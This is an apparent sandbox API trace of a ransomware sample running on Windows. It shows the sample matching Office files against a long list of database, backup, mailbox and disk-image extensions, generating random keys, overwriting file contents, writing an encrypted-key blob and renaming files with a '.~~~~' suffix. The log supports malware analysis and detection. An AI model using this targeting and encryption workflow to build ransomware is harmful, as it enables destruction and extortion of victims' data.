	[0137.423] lstrlenW (lpString=".DB") returned 3
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".DB") returned 0x0
	[0137.423] lstrlenW (lpString=".sql") returned 4
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".sql") returned 0x0
	[0137.423] lstrlenW (lpString=".MYD") returned 4
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".MYD") returned 0x0
	[0137.423] lstrlenW (lpString=".DBT") returned 4
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".DBT") returned 0x0
	[0137.423] lstrlenW (lpString=".ACCDB") returned 6
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".ACCDB") returned 0x0
	[0137.423] lstrlenW (lpString=".fdb") returned 4
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".fdb") returned 0x0
	[0137.423] lstrlenW (lpString=".bak") returned 4
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".bak") returned 0x0
	[0137.423] lstrlenW (lpString=".myd") returned 4
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".myd") returned 0x0
	[0137.423] lstrlenW (lpString=".DTXS") returned 5
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".DTXS") returned 0x0
	[0137.423] lstrlenW (lpString=".ckp") returned 4
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".ckp") returned 0x0
	[0137.423] lstrlenW (lpString=".dbt") returned 4
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".dbt") returned 0x0
	[0137.423] lstrlenW (lpString=".db") returned 3
	[0137.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".db") returned 0x0
	[0137.423] lstrlenW (lpString=".TXT") returned 4
	[0137.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".TXT") returned 0x0
	[0137.424] lstrlenW (lpString=".MDF") returned 4
	[0137.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".MDF") returned 0x0
	[0137.424] lstrlenW (lpString=".bdb") returned 4
	[0137.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".bdb") returned 0x0
	[0137.424] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0137.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0137.424] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394f48) returned 1
	[0137.425] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0137.425] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0137.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0137.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0137.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0137.425] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25741557951) returned 1
	[0137.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbb5a10d0, dwHighDateTime=0x1d60e1e)) 
	[0137.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0137.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0137.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0137.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28256d8
	[0137.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28256d8 | out: hHeap=0x300000) returned 1
	[0137.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c61b8
	[0137.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.426] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0137.427] GetLastError () returned 0x0
	[0137.427] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0137.427] GetLastError () returned 0x0
	[0137.553] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffb200, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.553] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x4e00, lpOverlapped=0x0) returned 1
	[0137.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.554] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.554] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.555] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.555] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.555] CloseHandle (hObject=0xc4) returned 1
	[0137.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6548
	[0137.558] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc.~~~~")) returned 1
	[0137.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6548 | out: hHeap=0x300000) returned 1
	[0137.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0137.561] GetLastError () returned 0x0
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".scr") returned 0x0
	[0137.562] lstrlenW (lpString=".cmd") returned 4
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".cmd") returned 0x0
	[0137.562] lstrlenW (lpString=".dll") returned 4
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".dll") returned 0x0
	[0137.562] lstrlenW (lpString=".bat") returned 4
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".bat") returned 0x0
	[0137.562] lstrlenW (lpString=".cpl") returned 4
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".cpl") returned 0x0
	[0137.562] lstrlenW (lpString=".sys") returned 4
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".sys") returned 0x0
	[0137.562] lstrlenW (lpString=".msc") returned 4
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".msc") returned 0x0
	[0137.562] lstrlenW (lpString=".com") returned 4
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".com") returned 0x0
	[0137.562] lstrlenW (lpString=".lnk") returned 4
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".lnk") returned 0x0
	[0137.562] lstrlenW (lpString=".msp") returned 4
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".msp") returned 0x0
	[0137.562] lstrlenW (lpString=".pif") returned 4
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".pif") returned 0x0
	[0137.562] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0137.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0137.747] lstrlenW (lpString=".sqb") returned 4
	[0137.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".sqb") returned 0x0
	[0137.747] lstrlenW (lpString=".ost") returned 4
	[0137.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".ost") returned 0x0
	[0137.747] lstrlenW (lpString=".txt") returned 4
	[0137.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".txt") returned 0x0
	[0137.747] lstrlenW (lpString=".mdt") returned 4
	[0137.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".mdt") returned 0x0
	[0137.747] lstrlenW (lpString=".BDB") returned 4
	[0137.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".BDB") returned 0x0
	[0137.747] lstrlenW (lpString=".eql") returned 4
	[0137.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".eql") returned 0x0
	[0137.747] lstrlenW (lpString=".DBF") returned 4
	[0137.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".DBF") returned 0x0
	[0137.747] lstrlenW (lpString=".EQL") returned 4
	[0137.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".EQL") returned 0x0
	[0137.747] lstrlenW (lpString=".FDB") returned 4
	[0137.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".FDB") returned 0x0
	[0137.747] lstrlenW (lpString=".EDB") returned 4
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".EDB") returned 0x0
	[0137.748] lstrlenW (lpString=".DACPAC") returned 7
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0137.748] lstrlenW (lpString=".VHD") returned 4
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".VHD") returned 0x0
	[0137.748] lstrlenW (lpString=".DBV") returned 4
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".DBV") returned 0x0
	[0137.748] lstrlenW (lpString=".dacpac") returned 7
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".dacpac") returned 0x0
	[0137.748] lstrlenW (lpString=".sdf") returned 4
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".sdf") returned 0x0
	[0137.748] lstrlenW (lpString=".accdb") returned 6
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".accdb") returned 0x0
	[0137.748] lstrlenW (lpString=".DBX") returned 4
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".DBX") returned 0x0
	[0137.748] lstrlenW (lpString=".MDT") returned 4
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".MDT") returned 0x0
	[0137.748] lstrlenW (lpString=".SQB") returned 4
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".SQB") returned 0x0
	[0137.748] lstrlenW (lpString=".vhd") returned 4
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".vhd") returned 0x0
	[0137.748] lstrlenW (lpString=".bac") returned 4
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".bac") returned 0x0
	[0137.748] lstrlenW (lpString=".mdf") returned 4
	[0137.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".mdf") returned 0x0
	[0137.749] lstrlenW (lpString=".BAK") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".BAK") returned 0x0
	[0137.749] lstrlenW (lpString=".BAC") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".BAC") returned 0x0
	[0137.749] lstrlenW (lpString=".dbs") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".dbs") returned 0x0
	[0137.749] lstrlenW (lpString=".vhdx") returned 5
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".vhdx") returned 0x0
	[0137.749] lstrlenW (lpString=".NDF") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".NDF") returned 0x0
	[0137.749] lstrlenW (lpString=".dat") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".dat") returned 0x0
	[0137.749] lstrlenW (lpString=".DBS") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".DBS") returned 0x0
	[0137.749] lstrlenW (lpString=".CKP") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".CKP") returned 0x0
	[0137.749] lstrlenW (lpString=".edb") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".edb") returned 0x0
	[0137.749] lstrlenW (lpString=".PST") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".PST") returned 0x0
	[0137.749] lstrlenW (lpString=".dbf") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".dbf") returned 0x0
	[0137.749] lstrlenW (lpString=".SQL") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".SQL") returned 0x0
	[0137.749] lstrlenW (lpString=".pst") returned 4
	[0137.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".pst") returned 0x0
	[0137.749] lstrlenW (lpString=".dbv") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".dbv") returned 0x0
	[0137.750] lstrlenW (lpString=".SDF") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".SDF") returned 0x0
	[0137.750] lstrlenW (lpString=".dtxs") returned 5
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".dtxs") returned 0x0
	[0137.750] lstrlenW (lpString=".db3") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".db3") returned 0x0
	[0137.750] lstrlenW (lpString=".OST") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".OST") returned 0x0
	[0137.750] lstrlenW (lpString=".dbx") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".dbx") returned 0x0
	[0137.750] lstrlenW (lpString=".DB3") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".DB3") returned 0x0
	[0137.750] lstrlenW (lpString=".DAT") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".DAT") returned 0x0
	[0137.750] lstrlenW (lpString=".VHDX") returned 5
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".VHDX") returned 0x0
	[0137.750] lstrlenW (lpString=".ndf") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".ndf") returned 0x0
	[0137.750] lstrlenW (lpString=".DB") returned 3
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".DB") returned 0x0
	[0137.750] lstrlenW (lpString=".sql") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".sql") returned 0x0
	[0137.750] lstrlenW (lpString=".MYD") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".MYD") returned 0x0
	[0137.750] lstrlenW (lpString=".DBT") returned 4
	[0137.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".DBT") returned 0x0
	[0137.751] lstrlenW (lpString=".ACCDB") returned 6
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0137.751] lstrlenW (lpString=".fdb") returned 4
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".fdb") returned 0x0
	[0137.751] lstrlenW (lpString=".bak") returned 4
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".bak") returned 0x0
	[0137.751] lstrlenW (lpString=".myd") returned 4
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".myd") returned 0x0
	[0137.751] lstrlenW (lpString=".DTXS") returned 5
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".DTXS") returned 0x0
	[0137.751] lstrlenW (lpString=".ckp") returned 4
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".ckp") returned 0x0
	[0137.751] lstrlenW (lpString=".dbt") returned 4
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".dbt") returned 0x0
	[0137.751] lstrlenW (lpString=".db") returned 3
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".db") returned 0x0
	[0137.751] lstrlenW (lpString=".TXT") returned 4
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".TXT") returned 0x0
	[0137.751] lstrlenW (lpString=".MDF") returned 4
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".MDF") returned 0x0
	[0137.751] lstrlenW (lpString=".bdb") returned 4
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".bdb") returned 0x0
	[0137.751] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0137.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.752] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0137.753] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.753] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0137.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0137.753] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25774349479) returned 1
	[0137.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbb8c0db0, dwHighDateTime=0x1d60e1e)) 
	[0137.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0137.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0137.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0137.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825860
	[0137.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825860 | out: hHeap=0x300000) returned 1
	[0137.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce578
	[0137.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c64b0
	[0137.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce578 | out: hHeap=0x300000) returned 1
	[0137.754] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0137.755] GetLastError () returned 0x0
